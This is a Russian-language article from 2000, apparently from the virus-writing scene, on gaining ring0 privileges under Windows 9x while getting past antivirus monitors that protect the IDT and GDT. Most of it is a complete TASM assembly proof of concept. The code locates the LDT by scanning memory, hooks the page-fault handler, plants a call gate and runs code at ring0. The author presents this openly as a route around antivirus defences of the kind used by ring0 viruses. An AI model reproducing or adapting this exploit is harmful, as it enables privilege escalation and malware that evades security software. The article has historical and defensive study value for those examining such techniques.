16.03.2000 Переход в Ring0 [Green Monster]
   Казалось  бы,  чего  проще,  уж это-то сегодня каждый делать умеет. На
самом деле здесь все не так уж просто.

   Обзор методов:

   I. Модифкация IDT.

   Суть  его  заключается в том, что стоит лишь пропатчить шлюз в таблице
дескрипторов  прерываний (IDT) так, чтобы он указывал на НАШ код, а затем
вызвать  патченное  прерывание, и вот уже НАШ код выполняется в 32-битном
сегменте с правами r0.
   Вообще,  модификация  IDT  возможна только в глючных win9x, которые не
заботятся о защите IDT на уровне страниц.
   Плюсом  этого  метода является его простота. Минус на сегодняшний день
достаточно  БОЛЬШОЙ:  некоторые  распространенные  а/в мониторы уже умеют
самостоятельно  защищать  IDT, изменяя биты доступа страницы памяти. Т.е.
при   попытке  чтения/записи  по  адресу,  полученному  от  команды  SIDT
происходит исключение, и винда завершает програму.

   II. Создание собственного Шлюза.

   Если  в  методе  I использовался готовый шлюз из таблицы прерваний, то
теперь (IDT защищена) необходимо самим заботится о его построении в одной
из системных таблиц. Важный вопрос II метода: ГДЕ строить шлюз?

   1. Построение шлюза в GDT.

   Адрес  таблицы  глобальных дескрипторов узнать не сложно (SGDT). Затем
необходимо  выделить  в  ней  ДВА дескриптора (для шлюза и собственно для
нового  сегмента  кода). Строится сегмент кода (32bit, CPL0 и все такое),
можно  также  использовать готовый виндовский дескриптор 28. Записывается
шлюз,   указывающий   на   новый   сегмент  кода.  Производится  загрузка
дескриптора шлюза в CS.
   Данный  прием  использовался  в  большинстве  r0  вирусов до недавнего
времени.   Затем   а/в/м   научились   защищать   GDT  :-(  Казалось  бы,
модифицирование  прав  доступа  страницы  памяти, где расположена ГЛАВНАЯ
системная  таблица  должно было привести к сбою в системе, НО... мы имеем
дело с виндами, а они, как известно, must die.
   Защитив  GDT  от  записи,  а/в  отрезали  нам  еще один путь выхода на
свободу (т.е. в r0).

   2. Построение шлюза в LDT.

   В  абсолютно  ничем  не отличается от метода 1. Для того, чтобы начать
работать  с LDT необходимо узнать ее адрес. Это легко можно сделать, если
GDT не защищена только от ЗАПИСИ. В этом случае:

   1. Получаем селектор LDT (SLDT)
   2. Получаем базу GDT (SGDT)
   3. Складываем базу GDT и адрес дескриптора LDT (селектор AND not 111b)
   4. Получаем базу LDT.

   3. Строим шлюз и вызываем его.

   НО!  Если GDT защищена от ЧТЕНИЯ, то описанный выше прием не проходит,
выкидываясь по эксцепшену на шаге (4), где приходится ЧИТАТЬ GDT.
   До  сегодняшнего  дня самым надежным методом перехода в ring0 считался
метод  II-2.  Мониторы  ЕЩЕ  НЕ "НАУЧИЛИСЬ" (чему там учиться ;) защищать
GDT от чтения, хотя подобная защита вполне реальна.
   Те,  кто  знаком  с  разработками в этом направлении человека по имени
ZOMBiE,  наверняка  знают  о  существовании  программки GDTPROT, которая,
запущенная  один  раз  модифицирует  права  доступа страницы GDT так, что
после  этого  НИКТО  не  может выйти в ring0 через GDT. Даже она сама при
повторном запуске выдаст 0Eh эксцепшен.
   Все  вышесказанное  было  вышесказано  (;)  для  того,  чтобы  вкратце
обрисовать ситуацию с получением ring0 прав под Виндами.

   А теперь соль всей этой болтовни. Новый ход в игре с а/в/м - переход в
ring0  ВООБЩЕ НЕ ИСПОЛЬЗУЮЯ GDT. Логика такова: раз метод II-2 затыкается
на  шаге  (4),  т.е.  в процессе получения базового адреса LDT через GDT,
значит мы будем получать этот адрес как-то по-иному.
   Казалось бы, все, что мы знаем о LDT, это то, что она находится где-то
в памяти и ее селектор лежит в GDT (возвращается командой SLDT). К GDT не
подступишься - защищена на уровне страниц.
   Как говорил мой препод мат.анализа: "если в задаче не хватает условий,
мы их элементарно до-бав-ля-ем!"
   Действительно,  т.к.  мы ищем решение _только_ для работы под Виндами,
то можно принять некоторые дополнительные условия (из личного опыта):

   a) LDT находится в памяти ВЫШЕ адреса 80000000h, т.е. первые 2Гб
      из поиска можно выкинуть сразу.
   б) (LDT.limit + 1) mod 1000h = 0.
      Другими словами, лимит LDT в Виндах может принимать значения
      0FFFh, 1FFFh, 2FFFh, ..., xFFFh
      Это ОЧЕНЬ важное допущение.
   в) В Виндах в LDT __ВСЕГДА__ есть дескриптор, описывающий саму
      LDT, т.н. alias (тестировалось на разных версиях win98).
   д) При загрузке PE-файла достаточно часто можно определить
      лимит LDT таким способом: limit = (FS AND not 0FFFh) + 1FFFh
      (Выполняется не всегда и не может служить достоверной основой
      поиска)

   Intel  предусмотрела  2  классные  команды, благодаря которым мы можем
узнать некоторые поля LDT:

    LSL - получить лимит сегмента
    LAR - получить права сегмента

   Также  эти  команды  сбрасывают  ZF,  ежели  сегмент  недоступен  нам,
скромным пользователям ;-E.

   Теперь мысли:

   I.Поиск alias'а LDT в LDT.

   Данный   метод   полостью   основан  на  предположениях  (б)  и  (в) и
неработоспособен   в   случае   невыполнения   хотя  бы  одного  из  них.
Предположение (д) используется лишь для улучшения поиска.

   Суть.

   1. Определяем/предполагаем лимит LDT.
   2. Посредством команды LSL ищем подходящий селектор.
   3. Проверяем его.
   4. Проверяем известные нам поля LDT.
   5. Выходим, если найдена LDT; циклим в противном случае.

   
   II. Поиск LDT в памяти.

   Суть.

   1. Определяется содержимое LDT или его часть.
   2. Память сканируется на предмет содержания там этой части.
   3. Делаются дополнительные проверки по вкусу.

   Пункт   (1)  может  быть  реализован  через  LSL/LAR  или,  что  более
предпочтительно,  через  DPMI,  если  он  доступен. Пункт (2) реализовать
несколько  сложнее,  с  учетом  того,  что система использует виртуальную
память, и многих страниц в памяти может просто не быть. Следовательно, мы
должны отслеживать ошибки обращения к памяти, используя исключения.
   В DPMI для этого есть спец. функции.
   В Win32 - SEH.

   Я  написал пример для запуска из v86, т.е. с использованием DPMI.


лировать:
;  tasm  /m seldt.asm
;  tlink /x /t /3 seldt.obj
;--------------------------------------------------------------------
;Баги:
;  - множество упрощений, в связи с чем может глючить
;  - оставляет шлюз в LDT (раз 100 запустить и п..дец)
;  * тестировалась только на win98
;--------------------------------------------------------------------
                                          ;
.model tiny                               ;Хехе ;)
.code                                     ;
p386                                      ;
                                          ;
Org 100h                                  ;Компилировать в COM
                                          ;
SELS_TO_SCAN = 30                         ;Сколько селекторов LDT будем
                                          ;сканировать в поисках
                                          ;доступного.
SELS_TO_SAVE = 4                          ;Сколько селекторов сохраняем
                                          ;для
                                          ;поиска (сигнатура LDT ;)
                                          ;
JUMPS                                     ;
LOCALS                                    ;
                                          ;
Start:                                    ;Инициализация
       int    3                           ;
       lea    sp, stacky_end              ;
       mov    ah, 4Ah                     ;
       mov    bx, (space-start+100h+0Fh)/10h
       int    21h                         ;
                                          ;
       mov    ax, ss                      ;
       mov    fs, ax                      ;
       mov    ds, ax                      ;
       mov    es, ax                      ;
                                          ;
       mov    ax, 1687h                   ;
       int    2Fh                         ;Есть DPMI?
       or     ax, ax                      ;
       jnz    Exit                        ;На хер...
                                          ;
       push   es                          ;Готовимся
       push   di                          ;
       pop    PM_Entry                    ;
                                          ;
       mov    ah, 48h                     ;
       mov    bx, si                      ;
       int    21h                         ;
       jc     Exit                        ;
                                          ;
       mov    es, ax                      ;
       xor    ax, ax                      ;
       call   PM_Entry                    ;Поехали в PM16
       jc     Exit                        ;
                                          ;
       mov    psp_sel, es                 ;Сохраним селектор на PSP
                                          ;
       xor    ax, ax                      ;Выделим 1 селектор в LDT
       mov    cx, 1                       ;
       int    31h                         ;
       mov    scn_sel, ax                 ;
                                          ;
       mov    ax, 111b                    ;Ищем первый доступный селектор
       mov    cx, SELS_TO_SCAN            ;
                                          ;
  @@search_sel:                           ;
       add    ax, 8                       ;
       lar    bx, ax                      ;
       loopnz @@search_sel                ;
       mov    start_sel, ax               ;
                                          ;
       mov    ax, 7                       ;SCN_SEL.base = 80000000h
       mov    bx, scn_sel                 ;
       mov    cx, 8000h                   ;
       xor    dx, dx                      ;
       int    31h                         ;
       mov    ax, 9                       ;SCN_SEL.rights =
                                          ;32bit&Data&Writable
       mov    cl, 11110010b               ;
       mov    ch, 01000000b               ;
       int    31h                         ;
       mov    ax, 8                       ;SCN_SEL.limit = 0FFFFFFFh
       mov    cx, 0FFFh                   ;
       mov    dx, 0FFFFh                  ;
       int    31h                         ;
       mov    fs, bx                      ;
                                          ;
       mov    ax, 202h                    ;Сохраним старый обработчик
                                          ;exp0Eh
       mov    bl, 0Eh                     ;
       int    31h                         ;
       mov    OldExp0E_o, edx             ;
       mov    OldExp0E_s, cx              ;
                                          ;
       mov    cx, cs                      ;Установим новый
       lea    edx, large exception0E      ;
       mov    ax, 203h                    ;
       mov    bl, 0Eh                     ;
       int    31h                         ;
                                          ;
       lea    edi, large sels             ;Прочитаем селекторы
                                          ;(сигнатуру LDT)
       push   ds                          ;
       pop    es                          ;
       mov    bx, start_sel               ;
       mov    cx, SELS_TO_SAVE            ;
                                          ;
  @@save_sels:                            ;
       mov    ax, 0Bh                     ;
       int    31h                         ;
       add    bx, 8                       ;
       scasd                              ;
       scasd                              ;
       loop   @@save_sels                 ;
                                          ;
       xor    esi, esi                    ;Начинаем поиск LDT
       lea    edi, large sels             ;
       mov    eax, [edi]                  ;
       mov    edx, [edi+4]                ;
                                          ;
       int    3                           ;
                                          ;
  search_LDT:                             ;
       cmp    eax, fs:[esi]               ;Здесь уже может быть эксцепшен
       jne    iterate                     ;
       cmp    edx, fs:[esi+4]             ;
       jne    iterate                     ;
                                          ;Если совпали первые 8 байт
       int 3                              ;
       call   Compare_Mem                 ;Проверяем полностью
       jc     iterate                     ;Не то...
                                          ;
       movzx  eax, start_sel              ;Вычисляем базу LDT
       and    al, 11111000b               ;
       sub    eax, esi                    ;
       neg    eax                         ;
       add    eax, 80000000h              ;
       test   ax, 0FFFh                   ;Под Виндами должен быть 0
       jz     restore_someth              ;
       mov    eax, [edi]                  ;
                                          ;
  iterate:                                ;
       add    esi, 4                      ;Следующий адрес
       cmp    esi, 0FFFFFFFh-4            ;
       jbe    search_LDT                  ;
                                          ;
       xor    eax, eax                    ;Ничего не нашли ;-(
                                          ;
  restore_someth:                         ;
       push    eax                        ;EAX = LDT.base
       mov     ax, 203h                   ;Восстанавливаем старый
                                          ;обработчик
       mov     bl, 0Eh                    ;
       mov     cx, OldExp0E_s             ;
       mov     edx, OldExp0E_o            ;
       int     31h                        ;
       mov     ax, 1                      ;Удаляем выделенный селектор
       mov     bx, scn_sel                ;
       int     31h                        ;
       pop     eax                        ;
                                          ;
       or      eax, eax                   ;
       jz      Game_Over                  ;
                                          ;
       mov     ldt_base, eax              ;Сохраняем базу и лимит LDT
       mov     ldt_limit, 0FFFh           ;
                                          ;
;--------------------------------------------------------------------
;Часть 2.
;База найдена, теперь строим шлюз.
;--------------------------------------------------------------------
       push    eax                        ;
       pop     dx                         ;
       pop     cx                         ;
       mov     ax, 7                      ;
       mov     bx, psp_sel                ;
       mov     es, bx                     ;
       int     31h                        ;ES.base = LDT.base
                                          ;
       mov     ax, 8                      ;
       mov     dx, word ptr ldt_limit     ;
       mov     cx, word ptr ldt_limit+2   ;
       int     31h                        ;ES.limit = LDT.limit
                                          ;
       mov     LDT_Sel, es                ;
                                          ;
       mov     ecx, ldt_limit             ;Выделим селектор
       call    Find_Free_Sel              ;
       jc      Game_Over                  ;
       mov     byte ptr es:[edi], 1       ;
       mov     esi, edi                   ;
       mov     ecx, ldt_limit             ;
       call    Find_Free_Sel              ;Еще один
       jc      Game_Over                  ;
                                          ;
       mov     ax, 0Bh                    ;Копируем CS в новый селектор
       mov     bx, cs                     ;
       int     31h                        ;
       jc      Game_Over                  ;
                                          ;
       mov     eax, edi                   ;
       and     byte ptr es:[eax+5], not (01100000b)  ;CPL = 0
                                          ;
;       or      byte ptr es:[eax+6], 01000000b       ;32bit
       or      byte ptr es:[eax+6], 00000000b        ;16bit
                                          ;
       or      al, 100b                   ;
       mov     Ring0_CS, ax               ;Сохраняем селектор на сегмент
                                          ;кода
                                          ;
       cld                                ;Строим шлюз (aka CallGate)
       mov     eax, esi                   ;
       or      al, 111b                   ;use LDT & RPL = 3
       mov     CG_Sel, ax                 ;Сохраняем селектор шлюза
       mov     edi, esi                   ;
       xor     ax, ax                     ;
       stosw                              ;0-15 байты смещения
       mov     ax, Ring0_CS               ;
       stosw                              ;селектор
       mov     ax, (11101100b) shl 8      ;
       stosw                              ;
       xor     ax, ax                     ;
       stosw                              ;
                                          ;
       mov     ax, ds                     ;
       mov     es, ax                     ;
                                          ;
       push    large offset R0_Proc       ;
       call    Exec_On_Ring0              ;Выполняем функцию в ring0
                                          ;
  Game_Over:                              ;
  Exit:                                   ;
       mov    ah, 4Ch                     ;
       int    21h                         ;Выход!
                                          ;
;--------------------------------------------------------------------
; Вызывается, когда мы обращаемся к дурной странице.
;--------------------------------------------------------------------
exception0E:                              ;
       add    esi, 1000h-4                ;Пропускаем страничку
       add    sp, 8                       ;
       push   offset iterate              ;Меняем адрес возврата
       sub    sp, 6                       ;
       retf                               ;Возврат
                                          ;
;--------------------------------------------------------------------
; Эта процедурка будет выполняться с правами ring0
;--------------------------------------------------------------------
R0_proc       proc                        ;
       int    3                           ;Для МягкогоЛьда
       call   beep                        ;Гудок
       db     66h                         ;Возврат на ring3
       retf                               ;
R0_proc       endp                        ;
                                          ;
;--------------------------------------------------------------------
; Гудок портами на динамик.
; Выдернул из win95.julus, т.к. самому писать лениво ;-)
;--------------------------------------------------------------------
beep   proc                               ;
       pushad                             ;
       mov ax, 1000                       ;
       mov bx, 200                        ;
       mov cx, ax                         ;
       mov al, 0b6h                       ;
       out 43h, al                        ;
       mov dx, 0012h                      ;
       mov ax, 34dch                      ;
       div cx                             ;
       out 42h, al                        ;
       mov al, ah                         ;
       out 42h, al                        ;
       in al, 61h                         ;
       mov ah, al                         ;
       or al, 03h                         ;
       out 61h, al                        ;
       l1:                                ;
       mov ecx, 4680                      ;
       l2:                                ;
       loop l2                            ;
       dec bx                             ;
       jnz l1                             ;
       mov al, ah                         ;
       out 61h, al                        ;
       popad                              ;
       ret                                ;
beep   endp                               ;
                                          ;
;--------------------------------------------------------------------
; Выполняет процедуру в ring0
;;-------------------------------------------------------------------
Exec_On_Ring0  proc PASCAL                ;
       USES    edi                        ;
       ARG     Offs:DWord                 ;
                                          ;
       push   eax es                      ;EAX -> процедуру
       mov    eax, Offs                   ;
       mov    es, LDT_Sel                 ;ES = селектор НА LDT
       movzx  edi, CG_Sel                 ;EDI = селектор шлюза
       and    di, not (111b)              ;
       stosw                              ;Прописываем
       scasd                              ;
       shr    eax, 16                     ;
       stosw                              ;
       pop    es eax                      ;
                                          ;
       db     66h                         ;Вызов шлюза
       db     9Ah                         ;
       dd     'XXXX'                      ;
CG_Sel dw     0                           ;
                                          ;
       ret                                ;Возврат
Exec_On_Ring0   endp                      ;
                                          ;
;--------------------------------------------------------------------
; Сравнивает две сигнатуру с куском памяти.
; Если ексцепшен произойдет здесь, то п..дец ;)
;--------------------------------------------------------------------
Compare_Mem   proc PASCAL                 ;
       USES   eax, esi, edi               ;
                                          ;
       mov    ecx, SELS_TO_SAVE*8/4       ;
                                          ;
  @@compare:                              ;
       mov    eax, ds:[edi]               ;
       cmp    eax, fs:[esi]               ;
       stc                                ;
       jne    @@exit                      ;
       add    esi, 4                      ;
       add    edi, 4                      ;
       dec    ecx                         ;
       jnz    @@compare                   ;
       clc                                ;
                                          ;
  @@exit:                                 ;
       ret                                ;
Compare_Mem   endp                        ;
                                          ;
;--------------------------------------------------------------------
; Находит свободный селектор в xDT
;--------------------------------------------------------------------
Find_Free_Sel   proc                      ;ES S=> xDT,  ECX = xDT.limit
       inc     ecx                        ;
       shr     ecx, 3                     ;
       mov     edi, 8                     ;
                                          ;
  Search_GDT:                             ;
       cmp     dword ptr es:[edi], 0      ;Свободный?
       je      @@Exit                     ;
       add     edi, 8                     ;
       dec     ecx                        ;
       jnz     Search_GDT                 ;
                                          ;
       stc                                ;
                                          ;
  @@Exit:                                 ;
       ret                                ;
Find_Free_Sel   endp                      ;
                                          ;
;--------------------------------------------------------------------
Ring0_CS      dw   ?                      ;Селектор на сегмент кода в
                                          ;ring0
LDT_Sel       dw   ?                      ;Селектор на LDT
ldt_limit     dd   ?                      ;Лимит LDT
ldt_base      dd   ?                      ;База LDT
                                          ;
PM_Entry     dd    ?                      ;Точка входа DPMI
                                          ;
OldExp0E_o   dd    ?                      ;Место для сохранения старого
                                          ;обработчика
OldExp0E_s   dw    ?                      ;
psp_sel      dw    ?                      ;Селектор на PSP
                                          ;
start_sel    dw    ?                      ;Селектор начала сигнатуры
scn_sel      dw    ?                      ;Селектор для поиска
sels         db    SELS_TO_SAVE*8 dup (?) ;Место для сигнатуры
                                          ;
stacky   db   1024*5  dup(?)              ;Стек
stacky_End:                               ;
                                          ;
space:                                    ;Космос ;)
                                          ;
ends                                      ;
end start                                 ;

  Вот, пожалуй, и все, что мне хотелось бы сказать по этому поводу.